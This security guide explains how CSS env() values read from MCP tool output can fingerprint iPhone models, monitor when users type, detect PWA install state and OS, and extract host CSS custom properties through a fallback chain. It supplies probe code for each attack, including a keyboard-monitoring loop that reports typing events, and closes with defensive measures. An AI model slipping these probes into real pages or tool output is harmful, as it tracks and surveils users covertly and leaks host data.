Security Guide

MCP server CSS env() function security — safe-area-inset device notch fingerprint, keyboard-inset-height typing surveillance, titlebar-area PWA context leak, env()/var() fallback custom property read path

CSS env() (Chrome 69+, Firefox 65+, Safari 11.1+) reads environment variables set by the browser or OS — safe area insets, virtual keyboard geometry, window titlebar dimensions. These values were designed for responsive layout on notched devices and PWAs, but they carry precise hardware and context information that MCP server scripts can read via getComputedStyle without any permission prompt. Four attacks are documented: device model fingerprinting via notch dimensions, typing activity surveillance via keyboard inset height, PWA install state and OS detection via titlebar geometry, and host CSS custom property extraction via the env() fallback chain.

env() — what it exposes and why it matters for MCP servers

The env() function was introduced to solve a real problem: on iPhone X and later, the notch and home indicator overlap the viewport, and web content needs to know the safe area to avoid content being obscured. The function was later extended to cover virtual keyboard geometry (so apps can keep forms above the keyboard) and PWA window controls overlay (so PWAs can draw into the titlebar area). Each extension exposed more precise device and context information.

MCP server tool output is rendered in the MCP client's browser context. Any CSS injected via tool output can call env() to read these values. The read is entirely CSS-side — no JavaScript is required — and the result can be encoded in a property value that is then readable via getComputedStyle from a script context, or exfiltrated directly via a CSS-triggered network request using background-image: url() with the value encoded in the URL.

Attack 1: safe-area-inset-top fingerprints iPhone model generation

The env(safe-area-inset-top) value is the height of the notch or Dynamic Island safe area in CSS pixels. This value is device-specific: iPhone X has a different inset than iPhone 14 Pro (Dynamic Island vs. notch), and iPhone 14 vs. iPhone 14 Pro differs because one has a notch and the other a Dynamic Island. Combined with window.screen.width and devicePixelRatio (available without permission), the safe-area inset narrows the device to within 1-2 iPhone models.

/* CSS to encode safe-area-inset-top into a readable property */
.env-probe {
  /* Encode the inset value as a margin — readable via getComputedStyle */
  margin-top: env(safe-area-inset-top, 0px);
  /* Also encode left/right/bottom for full safe-area profile */
  margin-right: env(safe-area-inset-right, 0px);
  margin-bottom: env(safe-area-inset-bottom, 0px);
  margin-left: env(safe-area-inset-left, 0px);
  position: fixed;
  top: -9999px;
  visibility: hidden;
}

/* JS: read the encoded values */
function readSafeAreaInsets() {
  const probe = document.createElement('div');
  probe.className = 'env-probe';
  document.body.appendChild(probe);
  const cs = getComputedStyle(probe);
  const insets = {
    top: parseFloat(cs.marginTop),    // e.g. 47px on iPhone 14 Pro
    right: parseFloat(cs.marginRight),
    bottom: parseFloat(cs.marginBottom), // e.g. 34px home indicator
    left: parseFloat(cs.marginLeft),
  };
  document.body.removeChild(probe);
  return insets;
}

// Known inset fingerprints (approximate, varies by iOS version):
// top=47, bottom=34: iPhone 14 Pro / 14 Pro Max (Dynamic Island)
// top=44, bottom=34: iPhone X through iPhone 13 Pro (notch)
// top=0, bottom=0: iPad, desktop Safari (no notch)
// top=0, bottom=21: iPhone SE (home button, minimal safe area)

// Combined with screen.width (375 vs 390 vs 428 CSS px) → exact model identification

Device fingerprint: The safe-area inset profile combined with screen dimensions and device pixel ratio narrows the user's device to within 1-2 iPhone models. This information persists across sessions, is not reset by clearing cookies, and can be used to re-identify users across websites without any login or localStorage.

Attack 2: keyboard-inset-height reveals when the user is typing

env(keyboard-inset-height) (Chrome 94+) returns the height of the virtual keyboard when it is visible. When the keyboard is not showing, this value is 0px. When the user focuses a text input and the software keyboard appears, this value becomes the keyboard height (typically 260-340px on smartphones). This allows an MCP server script to monitor whether the user is currently typing — specifically, whether they have focused a form field.

The implication for MCP server security is that a script with persistent access (e.g., from a service worker or a long-running session) can build a timeline of when the user is active in forms. Combined with knowledge of which form is visible (from the DOM), this reveals when the user is entering passwords, chat messages, or other sensitive inputs.

/* Continuously monitor virtual keyboard state */
function monitorKeyboardState() {
  const probe = document.createElement('div');
  probe.style.cssText = 'position:fixed;top:-9999px;';
  document.body.appendChild(probe);

  function updateKeyboardHeight() {
    probe.style.paddingTop = 'env(keyboard-inset-height, 0px)';
    const kbHeight = parseFloat(getComputedStyle(probe).paddingTop);

    if (kbHeight > 0) {
      // User is actively typing in a form field RIGHT NOW
      // kbHeight ≈ 260-340px on most smartphones
      exfiltrateTypingEvent({ height: kbHeight, timestamp: Date.now() });
    }
  }

  // Poll every 200ms — catches keyboard show/hide events
  // More precise: use visualViewport.onresize which fires on keyboard show/hide
  window.visualViewport?.addEventListener('resize', updateKeyboardHeight);
  setInterval(updateKeyboardHeight, 200);
}

// Combined with form visibility check:
// which <form> is currently in viewport? → reveals what user is typing (login? payment? chat?)

Activity surveillance: Keyboard visibility is a real-time signal of user activity. An MCP server that establishes keyboard monitoring in a service worker can report typing events even when the tool output is no longer visible — the service worker persists across page navigation within the same origin.

Attack 3: titlebar-area dimensions expose PWA install state and OS

The Window Controls Overlay API (Chrome 98+, Edge 98+) allows installed PWAs to draw into the browser titlebar area. When an app uses this feature, env(titlebar-area-x), env(titlebar-area-y), env(titlebar-area-width), and env(titlebar-area-height) return the dimensions of the content area within the titlebar. These values are zero in a regular browser tab but non-zero in an installed PWA with Window Controls Overlay enabled.

The specific titlebar dimensions differ by OS: on Windows, the window control buttons (minimize, maximize, close) are on the right, giving a wide titlebar-area-width. On macOS, the traffic-light buttons are on the left, giving different geometry. On Linux, the exact dimensions depend on the window manager. These differences allow OS identification without the User-Agent string.

function detectContext() {
  const probe = document.createElement('div');
  probe.style.cssText = 'position:fixed;top:-9999px;';
  document.body.appendChild(probe);

  // Encode titlebar dimensions as CSS lengths
  probe.style.paddingTop    = 'env(titlebar-area-height, 0px)';
  probe.style.paddingLeft   = 'env(titlebar-area-x, 0px)';
  probe.style.paddingRight  = 'env(titlebar-area-width, 0px)';

  const cs = getComputedStyle(probe);
  const titlebarHeight = parseFloat(cs.paddingTop);
  const titlebarX      = parseFloat(cs.paddingLeft);
  const titlebarWidth  = parseFloat(cs.paddingRight);
  document.body.removeChild(probe);

  if (titlebarHeight === 0) return { context: 'browser-tab', os: 'unknown' };

  // PWA installed — OS detection via control button position
  if (titlebarX === 0) {
    // Controls on left → macOS (traffic lights at x=0)
    return { context: 'pwa-installed', os: 'macOS' };
  } else {
    // Controls on right → Windows or Linux
    return { context: 'pwa-installed', os: titlebarWidth > 120 ? 'Windows' : 'Linux' };
  }
}

// Result: distinguishes browser tab vs installed PWA, and identifies OS
// No User-Agent parsing required — pure geometric fingerprint from CSS env() values

Attack 4: env() fallback chain reads host CSS custom properties

The env() function accepts a fallback value when the environment variable does not exist: env(non-existent-name, fallback-value). The fallback value can itself be a CSS var() expression: env(non-existent-name, var(--host-secret)). If non-existent-name is not a known browser environment variable, the browser evaluates the fallback — which resolves the host CSS custom property --host-secret.

This creates a read path for host CSS custom properties via an env() call that looks superficially like a safe-area inset lookup. The resulting value can be encoded in a computed property and read back via getComputedStyle, or exfiltrated via a CSS-triggered network request.

/* Read host CSS custom property via env() fallback chain */

/* The host application sets --session-color based on the user's session token hash,
   or --theme-user-id encoding the logged-in user ID as a hue value */

/* Injected CSS that looks like a safe-area-inset fallback but is actually a var() read */
.env-var-probe {
  /* env(non-existent-safe-area-name) evaluates the fallback: var(--theme-primary-hue) */
  /* This reads the host's CSS custom property through the env() fallback path */
  margin-top: env(safe-area-inset-top-extra, var(--theme-primary-hue, 0deg));
  /* If --theme-primary-hue encodes user identity (e.g., hue = user_id mod 360),
     the margin-top value reveals the user's numeric ID */
  position: fixed;
  top: -9999px;
  visibility: hidden;
}

/* JS: read the custom property value via env() fallback */
const probe = document.createElement('div');
probe.className = 'env-var-probe';
document.body.appendChild(probe);

const encodedValue = parseFloat(getComputedStyle(probe).marginTop);
// encodedValue = resolved value of --theme-primary-hue
// → user ID, tenant ID, or feature flag encoded in the host's CSS theme
document.body.removeChild(probe);

Stealthy extraction: This attack looks syntactically identical to a legitimate safe-area inset usage with a reasonable fallback. Static analysis tools that check for env(safe-area-inset-*) usage will not flag env(safe-area-inset-top-extra, var(--secret)) as suspicious. The novel variable name is the only tell.

Attack surface summary

Attack Browser support Information leaked Permission required
safe-area-inset device fingerprint Chrome 69+, Safari 11.1+, Firefox 65+ iPhone model generation (±1-2 models) None
keyboard-inset-height typing surveillance Chrome 94+ Whether user is actively typing in any form None
titlebar-area PWA context + OS detection Chrome 98+, Edge 98+ Browser tab vs installed PWA; OS identity None
env() fallback chain CSS custom property read All browsers supporting env() Host application CSS custom property values None

Defences

CSP style-src with nonce: Prevents injected <style> blocks from using env() to read environment variables. An MCP client that uses nonce-based CSP and sanitizes tool output HTML before rendering stops the injection point that these attacks require.

DOMPurify style attribute stripping: DOMPurify with FORBID_ATTR: ['style'] prevents inline style attributes from encoding env() values on injected elements. Combined with FORBID_TAGS: ['style', 'link'], this removes both injection paths.

Cross-origin sandboxed iframe: Tool output rendered in a sandboxed cross-origin iframe inherits the iframe's env() environment, which may differ from the parent page's. Critically, the iframe cannot access the parent page's CSS custom properties, blocking the env()/var() fallback chain attack.

Do not encode user identity in CSS custom properties: The env()/var() fallback attack only works if the host application has user-identifying information encoded in CSS custom properties. Avoid using user IDs, tenant IDs, or session tokens as CSS custom property values in themes or application stylesheets.

Related: CSS cascade values security · CSS @counter-style security · CSS Has No Security Model